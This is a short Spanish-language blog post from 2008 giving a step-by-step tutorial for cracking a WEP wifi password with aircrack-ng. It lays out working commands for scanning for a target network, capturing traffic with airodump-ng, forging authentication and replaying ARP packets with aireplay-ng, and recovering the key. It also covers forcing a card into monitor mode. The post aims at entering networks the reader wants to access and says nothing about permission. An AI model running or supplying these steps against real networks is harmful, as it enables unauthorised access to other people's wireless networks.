Tuesday, July 22, 2008

WEP crack !!! con aircrack

  1. Primer paso: bueno lo primero que necesitan es el suite de aircrack aqui esta el comando para apt:
    $ sudo apt-get install aircrack-ng

  2. Ahora hay que buscar la red a la que quieren entrar:
    $ sudo iwlist ath0 scan
    les saldran las redes de la siguiente manera:
    Cell # - Address: FF:FF:FF:FF:FF:FF ------>>> mac address en hex
    ESSID:"redwifi" ------>>> essid : nombre de la red
    Mode:Master
    Frequency:2.442 GHz (Channel 7)--->>> canal 7!!!
    Quality=16/70 Signal level=-79 dBm Noise level=-95 dBm
    Encryption key:on
    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
    9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
    48 Mb/s; 54 Mb/s
    Extra:bcn_int=100

    tambien tienen que saber la mac address de tu tarjeta:
    $sudo ifconfig
    ath0 Link encap:Ethernet HWaddr aa:aa:aa:aa:aa:aa --->esta es tu mac adress
    UP BROADCAST MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0 KB) TX bytes:0 (0 KB)
  3. Despues:
    $sudo airodump-ng -c # -w -wep -i ath0
    sustituyen # por el canal en el que esta la red a la que quieren entrar

  4. luego abren otra consola y usan este comando:
    $ sudo aireplay-ng -1 0 -e ESSID_NAME -a FF:FF:FF:FF:FF:FF -h aa:aa:aa:aa:aa:aa ath0

    sustituyes ESSID_NAME por el nombre de la red a la que quieres entrar
    la primera mac address es la de la red a la que quieres entrar, la segunda es la tuya.

  5. $ sudo aireplay-ng -3 -e ESSID_NAME -b FF:FF:FF:FF:FF:FF -h aa:aa:aa:aa:aa:aa ath0

  6. Luego abren otra consola y meten este comando:

    $ sudo aircrack-ng -a 1 -0 -n 128 wep-01.ivs

    y listo la clave aparecera en unos segundos si se tarda mucho quiere decir que la encriptacion no es de 128 q es lo mas comun, asi q tendran q tratar con cualquiera de estas opciones 64, 128, 256, 512.
nota : solo hagan esto si tienen problemas por que dice que su tarjeta no esta en modo monitor
$ sudo ifconfig ath0 up
$ sudo iwconfig ath0 mode monitor
muchas tarjetas no se pueden poner en modo monitor de esta manera entonces despues de buscar y buscar la solucion fue esta:
crear otro tarjeta "virtual" heredando las caracteristicas de otra
$sudo wlanconfig ath1 create wlandev wifi0 wlanmode monitor ath1
la nueva tarjeta se llama ath1 y tomamos las carecteristicas de wifi0 ahora solo remplecen en los siguientes comandos ath0 por ath1, tambien existe la posibilidad de q aircrack no sea compatible con tu tarjeta wireless.

pronto pondre la variante de este metodo para WPA, saludos y suerte!